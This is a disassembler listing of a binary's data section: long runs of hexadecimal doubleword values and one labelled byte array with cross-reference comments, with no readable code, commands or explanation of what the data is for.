		dd 1EF83D20h, 2BB3B001h, 5264D606h, 12391DE8h, 12AC50Ah
		dd 3E562C2Fh, 269BF084h, 0C8049D00h, 0FD1029DBh, 931200E3h
		dd 0DA72B8ECh, 0F7504579h, 2A005AA8h, 0BB113FB5h, 133C231Bh
		dd 130B35CDh, 6EA40012h, 0F641C6A2h, 0BA86E600h, 0ADE40FCBh
		dd 97CE0CEh, 0C142E327h, 20CA007Dh, 26E8FEBh, 8AB017BEh
		dd 9640DBCAh, 730B1346h, 20A0DAECh, 2B52F04h, 6E804A5h
		dd 80C66D5Eh, 567B4128h, 0BD8AD300h, 347EEE99h,	9374CFh
		dd 3C2F1F3Bh, 0D00D51D4h, 0C9708C5Ch, 2AEC2424h, 33208C80h
		dd 4098BB95h, 2AA4DF87h, 869824FDh, 8D393700h, 0B2D4CEEh
		dd 49FB17BBh, 0AD907035h, 450941BAh, 80A67ADCh,	48B8FDECh
		dd 9F52004Eh, 0DA0F3984h, 0E10E1294h, 0D43642h,	0FB7E83D6h
		dd 0EABBF0F8h, 0B747007Dh, 46784C22h, 0DDE0924Dh, 3D8D3C00h
		dd 0D061A34Ah, 71420795h, 6A6BF9h, 75430E5Ch, 3F5133Ch
		dd 0DDBAB4A3h, 0D347F3D8h, 92EE12F6h, 679C0430h, 0D01480F2h
		dd 0ADFA6BA4h, 0CEA79416h, 74D34420h, 0A9226CFh, 564360F0h
		dd 250A26C1h, 9D86E914h, 75FFF00h, 24036B0Eh, 0F988574h
		dd 8401EACh, 82F271A9h,	0C0287902h, 717696DDh, 0C41E1188h
		dd 0C50416EFh, 0EC6804F0h, 0A2F16CB0h, 519401CCh, 0FBE08F62h
		dd 0B7C70048h, 0E7A0652Bh, 0D94C6AE8h, 0D11801C4h, 7AAC0E54h
		dd 4D1B36D8h, 6E1818F6h, 0EF5CF91Eh, 0E8610328h, 46D20112h
		dd 38FD88C0h, 6E5704A3h, 0A0A4A054h, 80FD6B20h,	6F490306h
		dd 493D969Ah, 0BE0014BBh, 63FF1E9Ch, 0C81EF215h, 0E740917Ah
		dd 1695439Fh, 0C44701C0h, 6657AC13h, 40A021A0h,	3CCA4942h
		dd 0C1A32200h, 0E7169318h, 32F274h, 0A0B959FFh,	4C9D179Fh
		dd 66D2B114h, 64E200E4h, 74FA0F47h, 83F9003Dh, 94C4A529h
		dd 90034CAh, 0C93FC8B1h, 10D5DDDh, 0A5F67A7Ch, 0E0E3DC01h
		dd 9700EDAAh, 6E2AFF40h, 0B8104Ah, 0AC93A2FBh, 1FA0444h
		dd 86C2BCA8h, 0F7027B00h, 0DAA6B65Bh, 0DD7111h,	1E7CC13h
		dd 398D685Eh, 86776500h, 4DCB7E16h, 0A1400E48h,	0F74778D3h
		dd 0BBC9D041h, 0CF0E439Ah, 0C29D5930h, 71443548h, 89418978h
		dd 0BDB23202h, 5948A060h, 973A3502h, 80EE3D95h,	9662C388h
		dd 4F541E4Ah, 7C7600CCh, 9F28BB0Dh, 372CF300h, 0E63EAF88h
		dd 816600DEh, 0D3BA472Ah, 3D00DCB6h, 8844FF58h,	0C929E7h
		dd 7892645Dh, 0FE9D0B54h, 4DE23C00h, 29D44A30h,	60941285h
		dd 0EFB20065h, 0C98B980Ah, 6455F207h, 5FA7D574h, 0A90FC840h
		dd 61C0012h, 979D47EAh,	0B42CAA82h, 370246EEh, 404C9E2Ch
		dd 80267A5Ch, 250088ADh, 0BA2CBE6h, 600655h, 2F32D45Ah
		dd 0C18A19EBh, 0A858931Ch, 8B004AAEh, 333CC5C8h, 0F6E279h
		dd 9518C217h, 64111084h, 73AC713h, 0CAEB9501h, 46ECF5D9h
		dd 4C7562A0h, 8881ABF1h, 2D61BDAFh, 411501ACh, 1C81EA3Ah
		dd 6D4C24h, 130C7469h, 30B0B477h, 0FFF6DB02h, 7092D14Ah
		dd 86510040h, 0F5AFEBC0h, 0BA00F03Bh, 0C4571E60h, 131B7949h
		dd 7FD4506h, 73B13157h,	0E9C8F797h, 67399F89h, 7B05FBB7h
		dd 2EB0AA40h, 0CDF16981h, 0BE8420h, 968F1FF6h, 1020CEFBh
		dd 8F227C38h, 0A0F7D953h, 17AD5251h, 0F6D4908Eh, 0A4060197h
		dd 0D9631D9Dh, 5FC020D6h, 0DCF10C01h, 8FF92471h, 0E59870h
		dd 0BF2BA909h, 7865D74Fh, 6635EA00h, 5DF15AACh,	2D8400F6h
		dd 635EB361h, 0F4077D1Bh, 8FE95BCDh, 0C5707690h, 413F0336h
		dd 5A1A0BBh, 1F14C7B8h,	0F6E8D100h, 0CA0D2233h,	19B90029h
		dd 5562C886h, 9298822Bh, 7C735800h, 179694F9h, 31B831h
		dd 0D65C0A25h, 7FA46E3Dh, 58819B00h, 19833324h,	0F261DAFh
		dd 5B6DC0A7h, 0FE12E5B1h, 2F63DC00h, 0E93E1420h, 4DFE5Ah
		dd 0BD0A4E88h, 756617A3h, 9BEE0700h, 12A6210Fh,	0ADED2D25h
		dd 4A7BEC80h, 91001DC9h, 15F0374Dh, 50A5DCh, 0D55FE07h
		dd 0C0908FFDh, 0D66DB71Dh, 41FF2241h, 601E71h, 2CB20009h
		dd 0A4997AB0h, 0E47B5D0Dh, 0B52E71E0h, 818078F0h, 2B3E6D0Bh
		dd 0AAB02CBh, 0DA1C9B3Bh, 33AEF60h, 49E63F0Eh, 4C7FC0AAh
		dd 492E8199h, 7114D46Dh, 9D0E2442h, 79A7CDFDh, 0B1E940A2h
		dd 0C000C38Eh, 2B1CBEA4h, 0BDB041h, 64BCD154h, 0DB611A7Eh
		dd 8069C93Dh, 0B824086Ch, 0AF73EFh, 9FD04C74h, 0ECF86563h
		dd 2BCCC503h, 46CCAF0h,	9E161779h, 0EF74C0C1h, 857ECC9Dh
		dd 0E3F789C0h, 1FE9DD49h, 46DA1E3Fh, 0C8FB2DBDh, 0C3B1F207h
		dd 30901ACAh, 3A69EAh, 61F7D4D9h, 8290957Ch, 8FEB1D3Fh
		dd 4C57B2h, 0B7CC8636h,	0CFDE01DDh, 1CE5BC97h, 0E8E1F844h
		dd 3BFA010Ch, 7FD474F9h, 22AE3C41h, 0A5ED7C07h,	261AE367h
		dd 6FEB91D0h, 41008E7Ch, 0D1821FDBh, 137DC5h, 0C80ACDB9h
		dd 76BBB399h, 0CA1F8B79h, 51002E60h, 1620D1BAh,	9A7889h
		dd 610C4549h, 0F4E0CE97h, 6C697028h, 23850E00h,	0C5807317h
		dd 24FBA36Ch, 8724B308h, 0D023CA34h, 0D872DA52h, 0CF28E41Eh
		dd 0C14B2BC0h, 60D594Ch, 0C2DF4865h, 7B4661C4h,	1A230473h
		dd 2CCA9873h, 23CB00EDh, 7780E5A4h, 0EF76BB06h,	0E8D3E407h
		dd 1D40F070h, 62BEC2Fh,	6ECEC5F5h, 900038FDh, 0D8DBC251h
		dd 7411F7h, 8FE00FAAh, 0B3C61D78h, 0AE81F463h, 9603A0D0h
		dd 0DE11C31Bh, 79F32E82h, 0B3FACDA1h, 923083Ch,	2E7AC121h
		dd 0DBF54703h, 0C9645BF0h, 0BDFA7B1Fh, 0E6ED0800h, 646F609Dh
		dd 608DF1C5h, 2318239Ch, 0C4392873h, 23B100EBh,	291C5587h
		dd 0E007AC68h, 0D4AA6FCFh, 0A4B283E0h, 0F8A06304h, 4C9BF184h
		dd 3E0398E6h, 0E36D15C6h, 1ADAA065h, 8AD65BDh, 0AB70D1B4h
		dd 86F06E02h, 82183A14h, 60403D8Ch, 0A43FB148h,	1DD4834Ch
		dd 8095B233h, 0CDCC27h,	880266F5h, 71DFA4D0h, 74435E04h
		dd 65805FA1h, 0FFF632Eh, 7E72D836h, 296C00FFh, 4430FA7Ah
		dd 22345300h, 0F949FE59h, 2EA300A0h, 72FBB7F2h,	0EF029713h
		dd 40040AEAh, 0A7DA40AEh, 1CB80716h, 0A1D7EE70h, 604FCABDh
		dd 7E00B938h, 0AB5D1F0Fh, 94D9EFh, 6DE79963h, 0DF50F1BCh
		dd 0C8558307h, 6480405Dh, 193B177h, 7D79858Ch, 708E301Ah
		dd 0D1008B94h, 834F87DEh, 0EE1AE34h, 97247D5Ch,	0F7B38480h
		dd 0DF05C95Ah, 8E8507Ch, 0C3089519h, 95A22180h,	1D7C42C8h
		dd 0DCE10B1Fh, 0BA32F600h, 859A61h, 0E6656D49h,	87DA3C95h
		dd 3AEF5100h, 0B30DFCAEh, 0F330C015h, 3F29E0ECh, 0CF95EB28h
		dd 6E0397FAh, 0A27FBD53h, 7C101487h, 37F842Eh, 2993EFF8h
		dd 0ACA7E848h, 23B9788h, 15C4C26h, 0BDBF354h, 0A9F4EA50h
		dd 0F40701EEh, 9BC35644h, 535181E8h, 0B720864Dh, 127BBEE8h
		dd 0AA842C0Fh, 994FFC00h, 48613475h, 9440E938h,	0ED4A065Fh
		dd 0D06445E0h, 0D7978088h, 0F269F4Ch, 1FA95191h, 0A0348F4Ah
		dd 0E3381380h, 71C8A27h, 0D42E8878h, 211F4643h,	0E610CA01h
		dd 9D30EB4Eh, 59605D21h, 5C58C050h, 902774F5h, 839B39h
		dd 0D9692ECh, 0B42EC8h,	0EA42D150h, 0D3EE9995h,	80E0F36Ch
		dd 833F18D7h, 588C9061h, 6B7BEB00h, 3CA0F1BEh, 95540181h
		dd 9B053FA8h, 0ABD0C859h, 7E259100h, 0B28F493Eh, 171F003Ah
		dd 0F2D7A03Ch, 1C739582h, 5077DD01h, 1D7AFE32h,	4751095h
		dd 86FAD8B8h, 0C79D10C0h, 0DC9B91h, 19215BEAh, 7EB3B2FCh
		dd 0C973B600h, 8040A190h, 567C22h, 812817D3h, 6B2BB8E2h
		dd 0B7264B03h, 0F8D5095Ch, 0FBB34DFh, 8F0EA3F6h, 576ECB43h
		dd 0BF808290h, 0F4061E00h, 89237C6Bh, 4F580386h, 0D7A3DFC5h
		dd 68F3E3C8h, 642B4C00h, 98BE1C4Eh, 4ABD18B6h, 32903835h
		dd 45436500h, 0CA313F8Ah, 660CC0E8h, 0AC412DC9h, 0A70BFFB8h
		dd 806CD39Eh, 78B5E8ECh, 82F500A8h, 7BCB6BFEh, 0F900D557h
		dd 0C59A74A6h, 2A38AAh,	6CC277F6h, 0F527C4C3h, 91D8600Fh
		dd 0A225A03Eh, 0AD3036h, 538C89F6h, 35FD247Fh, 0F22B9D1Ch
		dd 21DD1780h, 3A12052Fh, 8AB46C88h, 1DDF0028h, 0C2810ED2h
		dd 877BE00h, 56642E47h,	3BDB0301h, 0E161DDF3h, 741D04C0h
		dd 63A33E00h, 198DF618h, 5A90394Bh, 230100F2h, 1B70A9D3h
		dd 3D2640E8h, 1700DFA3h, 7CD504B0h, 225300ADh, 1FBF6AA2h
		dd 300337E2h, 70D09905h, 8060B38Ah, 0ECC107h, 6FE2BF64h
		dd 0DA9137A2h, 61C087F0h, 0AB1CB33Eh, 3C98E41Fh, 65009E45h
		dd 89C604ACh, 0F3E66D13h, 0B21C7CEAh, 8DC0F68Bh, 3643A3CCh
		dd 0AF5D0012h, 264D501Fh, 68009E13h, 411C8B5Ah,	0C9422h
		dd 53D4B3B9h, 0B7BBDE77h, 6500A4EAh, 6AE7DF45h,	3F435BE8h
		dd 90804A7Fh, 7EB02F8h,	200F808Ch, 6749259Eh, 0C5D0114Ch
		dd 0A5814Ah, 0FAB11036h, 778EFF22h, 17D56B0Fh, 805B2FE1h
		dd 0F9832B94h, 657C0246h, 79EB6CFEh, 14BEB080h,	4126C757h
		dd 0CB00F3E7h, 1FA7EC02h, 8F810049h, 315988DDh,	6B0A67F3h
		dd 0C45C08AAh, 836FC408h, 0AC8EB5DEh, 0E73604B8h, 0A2D1AB61h
		dd 0A18FC610h, 26A0952Fh, 76D35FF2h, 0D1980200h, 1C568613h
		dd 0E130C01Fh, 7C639AD0h, 0C60A4DFAh, 0DC08678Fh, 4C0C8700h
		dd 84FD3Eh, 125567Ah, 8BC316E0h, 52B063FEh, 1533F400h
		dd 61E79BB5h, 0F1E0CCh,	985E7BA9h, 0FC31FBABh, 14823600h
		dd 5C4EB953h, 0D66C002Eh, 0CE6ED989h, 370CDFC4h, 0D8869346h
		dd 0D421543Dh, 2ABE093Ch, 3401F18Dh, 70A5E5E4h,	493CC53Ch
		dd 9C0DB907h, 0E9003429h, 51DCB07Ah, 0FF361C26h, 6C7C75Ah
		dd 0F497054h, 2D1FE305h, 0D8F0856Fh, 2492FA4Fh,	864852AFh
		dd 80D33CEFh, 66181F0Fh, 0CFF240C7h, 7E9983Ah, 0B5584A23h
		dd 1D4D2077h, 0CD0021AAh, 5538F437h, 0CE18CCh, 7397B09Ch
		dd 4330BA69h, 0B15CED00h, 80C22247h, 4D9E001Eh,	6773F615h
		dd 0D41D37D1h, 2400C568h, 0A048456Bh, 299C60B4h, 75E8A68Fh
		dd 0B2007FF8h, 0BB6B5866h, 7774B35Fh, 7A1400E0h, 8B2478EAh
		dd 314CFD54h, 0F7290059h, 0D68720F2h, 75B500FBh, 74BCE644h
		dd 0DB00BFB6h, 70244043h, 0B9EB3Dh, 0EFE78E99h,	45B15313h
		dd 0C05FAB24h, 0C46D280h, 6B472Dh, 78929AB8h, 0A2BF5A08h
		dd 0D4EA1E00h, 89A56421h, 50B807F8h, 7BF7E2h, 0B044C230h
		dd 69256803h, 0B18E86C4h, 81806D0Eh, 50421C0h, 0E803A87Ah
		dd 8FEB2F9Dh, 7684E8D6h, 87380072h, 0C5EC4975h,	5D009942h
		dd 92D7BC98h, 90ACE65h,	4902E7C6h, 13369300h, 8F04AD03h
		dd 0FF3D4154h, 0C22D8880h, 0ED021F52h, 0B75B00D6h, 40B0274Eh
		dd 8E136DFEh, 94004D86h, 0F48330Ch, 0E63E7D7Ah,	75970022h
		dd 370870DBh, 4D008785h, 43DCEE72h, 22CCA26h, 395C8FD0h
		dd 144B2AFBh, 0EF5E0EF8h, 0F749C43Dh, 0F7F2040Fh, 0D0D4E1D1h
		dd 0C6D0398Bh, 0E44F0020h, 0DC605AA7h, 6D00D821h, 66CCDBD2h
		dd 7CF9139h, 0D93E0445h, 0C4002EDh, 53E87CD8h, 0B80013E2h
		dd 6D3FE27h, 320DFDDh, 0A467FA43h, 0CDE0879Fh, 6000D725h
		dd 3AEAB54Fh, 2CFDCBh, 351CF513h, 23116337h, 0A82B1801h
		dd 0EDB9E003h, 980C2A60h, 3DDF00B1h, 72290E01h,	0EBFA09CBh
		dd 8D944902h, 4030F0E6h
		dd 396151E8h, 805A68D2h, 0A7850524h
		db 7Fh
byte_530055	db 0DDh, 0, 0DEh	; DATA XREF: ___:off_4385ECo
					; ___:off_438604o
		dd 0C7FB3F79h, 3B3C0127h, 0F21EAFh, 1B7F2B35h, 9FB3EF83h
		dd 0AE0EC600h, 315D487Dh, 1D8F0067h, 9EF201E8h,	4D73DBC3h
		dd 7B62D400h, 6353F766h, 2877483h, 8E800F5Bh, 0D16012DAh
		dd 29715C94h, 63620400h, 98BAD21h, 0B3F90F87h, 5AC049BFh
		dd 85D50D7Ch, 0A2E26E0Fh, 6AD800FAh, 7AEA848h, 1322646h
		dd 1387D958h, 80D40435h, 5670B0F1h, 9D4D8D0Fh, 8040C975h
		dd 9BBD994Bh, 76D9003Ch, 8F47D729h, 66000F3Ah, 31F70948h
		dd 0EE65DD3h, 63ED4212h, 0E56B9B20h, 926759E2h,	4BE0A010h
		dd 3B13BDh, 0B89366BFh,	0F320ACC0h, 64473800h, 0C235790Ch
		dd 706C79B6h, 23F200BEh, 0BAF9E0ADh, 6B00378Dh,	5BC9EFA4h
		dd 0F02539h, 6A3378FFh,	8E318438h, 2B22ED0Fh, 9B00B719h
		dd 948F2E27h, 0F5580308h, 1203360Ah, 0F69C9C0h,	9AB48700h
		dd 0CE619DA0h, 0F27A0083h, 7B740343h, 4000D4D0h, 0BD4A4EE2h
		dd 0CDDD63h, 3854F03Ch,	0DFCF8DBBh, 68E14700h, 0E765C589h
		dd 7F240007h, 0DC45B998h, 0D51B0E3Eh, 0A8802D59h, 25C3E6h
		dd 80DE8222h, 39AB2F3Ah, 669D6303h, 3215F6Fh, 0C79EBE28h
		dd 0E3C0D199h, 0F974DC40h, 4B143A74h, 0D28CA0Eh, 30C3F443h
		dd 71836CE0h, 2B66033Ah, 7D4D903Bh, 0BFEE1FB0h,	9B10F300h
		dd 72F2CC12h, 0EE80E919h, 1D091A82h, 370CC927h,	595A700Eh
		dd 0E3811EDBh, 30503A0Fh, 3DEC1BEAh, 90062188h,	40529B11h
		dd 79660671h, 31E8E043h, 54CE0E28h, 0C831D137h,	0DC430198h
		dd 0CD30E44h, 60E842E5h, 40C63A50h, 8E183AABh, 3FECE300h
		dd 53BEB661h, 332C7200h, 8AF5B937h, 1F9500C5h, 918E6FFBh
		dd 6400E59Fh, 29C1C63Dh, 3021839Dh, 7B69D36Ch, 481C264Fh
		dd 1C40DDC7h, 5F4EFB15h, 6A1A002Ch, 0F9A5E8F6h,	9D00E671h
		dd 0BB2A3AEDh, 9443D4Eh, 0BDE301E0h, 9296FF84h,	1B601428h
		dd 3E07EED9h, 0D0E98DEBh, 0FFA50F1h, 7F3187DBh,	68F015BCh
		dd 0E1EC60F5h, 4DB10C30h, 0C62A1A60h, 443A85h, 0B474FFF1h
		dd 9CD90E7Ah, 287C937Ah, 5122E103h, 72F51E83h, 0D6E068h
		dd 0A1C4907Ch, 0F4C5ADDFh, 80A0C13Bh, 0BD51851Ah, 12E7D8EFh
		dd 4450878Eh, 0C0270D7Ch, 0CEBB9A45h, 0EFDE200h, 2A6C66FBh
		dd 8F99C067h, 42038191h, 74C36D3Eh, 14197B60h, 30C6C70Eh
		dd 1C10BF31h, 6E009B0Ch, 89D9B73Fh, 0FC4FEC53h,	0CC8C0356h
		dd 0B5D85C5h, 0F33BB0B6h, 0CAFB809Ch, 65596194h, 83300C8h
		dd 0D9ABD6A4h, 0D000626Bh, 63D8D24Bh, 0F4DF8DF8h, 7BF001DCh
		dd 91385813h, 6DE2C8CAh, 5D0638h, 0DE85F866h, 0BB0315Ah
		dd 0EA6BE4C6h, 10EB0807h, 9D5B5D7Ch, 0FB71800h,	6BDAF2B6h
		dd 7F8D01E6h, 64D578E7h, 0EC73C494h, 603F074Ch,	147EE670h
		dd 189FE640h, 89FD13AEh, 0E460F3F1h, 22065C41h,	10250378h
		dd 71626EB1h, 0FCDF1800h, 0BA03E791h, 184C7A95h, 59656780h
		dd 24005AEDh, 0CB851C15h, 387AB956h, 0B80088FFh, 0A6641902h
		dd 38005907h, 0F2B5AEDFh, 602106EEh, 63D3113Dh,	53066278h
		dd 7B7C80DDh, 7B4DE059h, 6FAE0CB6h, 32B1B75Eh, 0C5747F00h
		dd 0DA05443Ch, 3618C0E5h, 0D2D4A221h, 0BD567C00h, 9237EF9Eh
		dd 28B2A007h, 29F1074Ah, 0C0CCDEA0h, 142BBD32h,	0BEE38D00h
		dd 43E47AE5h, 346F000Dh, 972666B4h, 2311228h, 0E36A087Fh
		dd 8C102081h, 0DCF6CEB3h, 0FC000C3Fh, 0EA17E1D0h, 0C057C165h
		dd 83748B60h, 0EB390DE4h, 0C6E000Bh, 0ED23E34Fh, 3C9FAC4h
		dd 0C3C09F86h, 1A19D4Eh, 3220801Bh, 78538E85h, 679B00B4h
		dd 0C636F87Dh, 94039E48h, 11AC5686h, 6F0FC928h,	380D1898h
		dd 0D9007343h, 0F109C118h, 3F239A4Ah, 0FD3C6A7Bh, 28E0BFBCh
		dd 10DDC2C3h, 2F086606h, 60095F7Dh, 5AA321D9h, 3A743CD0h
		dd 4E841106h, 0C8D05E69h, 8CC010C8h, 46C980C4h,	1AFF109Eh
		dd 8EF90900h, 6CFDA8B2h, 0CD952900h, 0BD392AB4h, 0D0ABB8FBh
		dd 1F009C70h, 0C34AE389h, 0C8A0BADEh, 971F2328h, 2740E81Eh
		dd 43E5E4A8h, 71B00BD2h, 0F6007CD5h, 1A26806Bh,	0DF313B00h
		dd 40953F5Eh, 2CCB01CCh, 0A0FB8FDAh, 0D6F8F779h, 0E70011E1h
		dd 0FAC59BDCh, 6A40C0Dh, 98D48049h, 6F008612h, 0C15D878Dh
		dd 0F4A98AC7h, 0FF431FE1h, 2E78CF58h, 50002D8Eh, 0C777044Eh
		dd 79D9611Dh, 0CBBB3B42h, 928D8047h, 0CCC2F082h, 9B218D09h
		dd 3425A600h, 1D6593E2h, 4878094Bh, 0C88EC1D9h,	28D67E26h
		dd 722A0573h, 0C4022C60h, 0AEB1147h, 0C0016A9h,	0EF6D25B4h
		dd 4433B38Bh, 1A664550h, 0C629DAA8h, 203D3178h,	0B5BC900Fh
		dd 81C9F9CEh, 4704C118h, 0A8E2EB26h, 769631h, 7252D01h
		dd 336DC5D3h, 0B1F1A05Dh, 88186629h, 905010F4h,	0C39230DCh
		dd 0BAB6E160h, 882F5F14h, 0D59C07B8h, 72503CB1h, 0F6E43507h
		dd 0D0E83DEEh, 56691587h, 26660FDh, 0B72EE2D9h,	0F30700E5h
		dd 7720D3DBh, 5556FAh, 0EB585AEAh, 16A01072h, 0ECD7BC01h
		dd 7AAD6179h, 25E6088Ch, 3D80D620h, 0EE8F7h, 9AB3D568h
		dd 713B357Dh, 0CE82720Eh, 593080D7h, 0E499AB8Bh, 3AB10668h
		dd 8B66A5Dh, 20DFB190h,	0B980B49Ch, 0D5087A23h,	0B19C0C3h
		dd 0A10D37A0h, 50AD4400h, 0E4157934h, 3CF60942h, 6E80C310h
		dd 36D8EB56h, 3925D635h, 0EF571600h, 7AC0F5Fh, 13F7DD1Ah
		dd 3B71431Bh, 0A99D2000h, 0CADA56EFh, 0DB15000Ch, 77E247D8h
		dd 0C266B103h, 0DC1EBC9h, 48D8DA68h, 0A4CCEC20h, 6A8240h
		dd 2EC75331h, 0EEEC3722h, 6818A767h, 0E41B0580h, 5C0C0077h
		dd 0C76169EBh, 574C2AC5h, 4551E8Ah, 0B44F00FEh,	68EDC6F9h
		dd 3F110049h, 0E8827137h, 3E17B5EFh, 3900E308h,	0F72A9C67h
		dd 0CA3000B1h, 130EB488h, 1D604CD6h, 0EA29B096h, 0BB030002h
		dd 72F1AE58h, 5500F3C0h, 0D4CED82Dh, 0B84022DCh, 862B0074h
		dd 10F8E82Eh, 0AB00A5C5h, 3C6E4176h, 0D3DD48h, 0AC608579h
		dd 0C3352856h, 95000878h, 31E103F8h, 48584BBDh,	0FD004B9Fh
		dd 608D0633h, 0F84C4507h, 1D02382Fh, 82406293h,	9A55EB32h
		dd 442A26B5h, 0D14D00FCh, 1EF1E67Bh, 0BF98AE1Ch, 5E42E15Ch
		dd 60D516BAh, 6C36EC0h,	0B27DC7BCh, 2D1F185Fh, 0D6007CEEh
		dd 0B342121Eh, 0EC087F2Ah, 0FA25EC76h, 9EE8077Bh, 0E03E0A93h
		dd 4BB8BE9Ch, 6D2428C1h, 78BC7699h, 34D5AB80h, 0EE7AE169h
		dd 0DA453Dh, 0A6BFAD50h, 0D76096h, 2BC086F7h, 8F69F4D2h
		dd 187BD602h, 40A1AD1Eh, 37F531F3h, 0C1505E55h,	82A4F106h
		dd 0C9F46918h, 802E2761h, 0C02D0220h, 734FA3Ah,	6AB9B8B0h
		dd 58608966h, 0F9002AC7h, 2A0A51E6h, 3900191Dh,	4418FB3Dh
		dd 0C59C6h, 58ACC03Fh, 96ADDA0Dh, 9C502D17h, 990BBE00h
		dd 0A715CEh, 49F97090h,	7DBD8072h, 0C109DBE2h, 8008854Ah
		dd 0A50F7660h, 0E44009A4h, 8D006434h, 4C4B4ACDh, 9BC73Ah
		dd 817EC8B0h, 0EA252Ah,	0DC6C938h, 22677036h, 0A0A34B00h
		dd 3D260383h, 77F04C16h, 28800A3Ch, 0A78D44EDh,	6303816Dh
		dd 0E303FA6Ch, 6AF7C87Eh, 475F008Bh, 8FD65DA1h,	0D93B7C7Dh
		dd 0DD280003h, 0BA76269Ch, 7FCB0C31h, 0C6823C1h, 515E0100h
		dd 37C37DB0h, 0AF541E21h, 65B280A6h, 0D62E2D6Ch, 0A1F6FF01h
		dd 6CAE6F4h, 152AA0C7h,	12FC00F8h, 0D2CDA5E3h, 5D1FDDFEh
		dd 13400FD5h, 49171CECh, 25BD3EBBh, 926ED483h, 968821DAh
		dd 0B600608Ah, 948EA12Fh, 0DF2298h, 32E7C018h, 79F1EA4Fh
		dd 74DD300h, 0A3503C3Ah
		dd 6EC300BEh, 0D6A7034h, 0E5F4133Dh, 22F3DCA0h,	0E955AA03h
		dd 161F851h, 0E34D37B8h, 60A9D497h, 445047B3h, 220018FCh
		dd 6841FF4Ah, 2D5066h, 39F41BE8h, 0B37092BAh, 1FC36014h
		dd 44C70494h, 4C80402Ch, 0A9FCF6h, 0A2CE046Bh, 0BD7DEFB5h
		dd 919CA00h, 450B7842h,	41A8A01Bh, 82E500B6h, 4ADFEB30h
		dd 2900BAF4h, 2151248Bh, 38A8182Dh, 0DE8049A0h,	6E27AD4Fh
		dd 57EAFB61h, 0B4724500h, 0BD22C17Ah, 85E000CCh, 8BC6984Fh
		dd 60C024B5h, 777A1D90h, 2BBB3EA6h, 19E73BFCh, 0D35ABA00h
		dd 6AE4CA33h, 6AC84Ch, 158C2579h, 0F2EB6Eh, 1B152BAh, 0D4511775h
		dd 7F278801h, 0DFF3A2EEh, 0EE0584C0h, 5DF60064h, 0EDF77ADBh
		dd 8200CA04h, 2FF81A0Ah, 0FC1FE2h, 45B9F19Bh, 0D2B8914Dh
		dd 0BF288207h, 4C0252ECh, 0E7C0803Ch, 40B309Ch,	0FDB30CDBh
		dd 0CA37C0C1h, 480B2532h, 3A0DA2h, 8C34A3F0h, 82531257h
		dd 273803B6h, 0DFD86FC4h, 9EF64E5Ch, 0D0EB9224h, 0A9842180h
		dd 2E55F4h, 18F3F2Ah, 790AECFBh, 68D71F00h, 0CB6FF1Ah
		dd 4CC61DCEh, 52ED430Eh, 0FB8B255Ah, 0F94522C8h, 0B9B22A00h
		dd 0B0A5C9AAh, 1D4900EAh, 0B7FD4ADCh, 7F02B466h, 136E6EBh
		dd 4FC1C0C8h, 1DB9E4A3h, 8333A2D7h, 5B62F957h, 0E4771800h
		dd 68964B50h, 0A2EA3E07h, 53843880h, 0C9874603h, 0F69BE109h
		dd 0D03C100Bh, 0FCAC5074h, 131412F1h, 97750F56h, 0A01F59A6h
		dd 8CBBE600h, 0E89FC199h, 607640h, 291E7C2Ch, 0CB58B91Ah
		dd 0DE1B1200h, 0DC9FBAC4h, 23E50024h, 2E66978Fh, 9A0006C3h
		dd 0FF6E4D02h, 0C7E36280h, 6FFBB770h, 1DE824E0h, 5C000265h
		dd 302C5135h, 30BBDFCBh, 0E844B45h, 0B938F952h,	0B5ED0036h
		dd 75643A72h, 0D7140609h, 103FBF86h, 201C6707h,	8EB01597h
		dd 1E61DCD3h, 7AC23EEAh, 9D8A0C00h, 0C021F652h,	4600E377h
		dd 124027EDh, 30AA67Fh,	65A9DAA2h, 0E3E0E80Dh, 383A3D73h
		dd 934F00C5h, 0CB1278CEh, 0BC27F5Ch, 0B2DC4D5Fh, 0F2A2C980h
		dd 3A001049h, 0CBCABE50h, 0E08F6107h, 482C0031h, 3DCF3581h
		dd 94044FF4h, 85BEE746h, 8041E082h, 1D0681B0h, 0B5960B6Ah
		dd 0BD80BC0Ch, 0E0F86097h, 1FB6641Eh, 16DE18CCh, 537573h
		dd 0EF0F3101h, 0B609C6E0h, 1BF53Ah, 0A76375A2h,	3F91AE3Eh
		dd 5300DBFBh, 973C9574h, 25EA5E2Ch, 34C6C48h, 0B0705235h
		dd 0E69CC12Eh, 5ECC3BFDh, 0B8CF0007h, 4B93A4D1h, 9B3F7EADh
		dd 11A860D9h, 0ECA80A9h, 8E21576Eh, 6002AA80h, 0E0397601h
		dd 7A6260FFh, 748FFACCh, 4FF71FA0h, 0B33AC01Dh,	0CA6EE446h
		dd 119B1B01h, 0C971508Ah, 0A1F021D9h, 0EFDF00B2h, 1099F88Bh
		dd 0F70F4378h, 401805CAh, 72B0BB9Fh, 6C7E93h, 0A5E2D515h
		dd 82D48871h, 0AA3DCE01h, 664DDCC6h, 0EAC024E8h, 5B5D0972h
		dd 0B48BEED0h, 0EB22BB00h, 0CA0045C3h, 0DC4B74E1h, 7B98229h
		dd 231656D3h, 0E88CC386h, 0E08FE0B7h, 4207FAA5h, 51987563h
		dd 49403ED7h, 13C189C0h, 0AE560D60h, 0D06BC201h, 1520511Bh
		dd 0E39403F1h, 99A75502h, 0F9C07B83h, 95009B35h, 123A158Bh
		dd 269A6937h, 75E19A7h,	4334778Ah, 0A5F9AA05h, 3F2CCC2Bh
		dd 9A425900h, 0C80B3B46h, 48FA07B5h, 1FC724h, 0FE1475C1h
		dd 0B2D1A300h, 0A8C943EDh, 4097DCDh, 7B06D952h,	13D0C021h
		dd 89168895h, 0E600B371h, 392F6E63h, 0E6FB0077h, 0D6244B25h
		dd 1BB0D731h, 189C0348h, 51103040h, 1D0400CAh, 0CC771F66h
		dd 7400FE37h, 5E3E32C4h, 0FEBA73D2h, 1BAC0011h,	84E41083h
		dd 3B006C99h, 5C67CE7Bh, 0E9F23D2Ch, 0AD40F0h, 0E38D4201h
		dd 0F53B126Eh, 624A9500h, 1EB298F8h, 0DDB000B8h, 75F44590h
		dd 87007E64h, 0F7A4A6E2h, 2C89A3D1h, 0F58AD7h, 14BA3CDCh
		dd 4676B14Eh, 64055798h, 3E182160h, 6383AC94h, 1D4298D1h
		dd 9BDC00F5h, 16C62E7Ah, 51398C0Bh, 7D3B9796h, 438A7900h
		dd 79FA8h, 4B0413D0h, 1DA65469h, 3932D200h, 0C4FAC597h
		dd 1EFC989Fh, 97CB760h,	0E08F64CAh, 0CB00FF0Fh,	7AA2BE61h
		dd 28E70B31h, 2021C678h, 49979080h, 11ADBA6Ah, 5C3848E8h
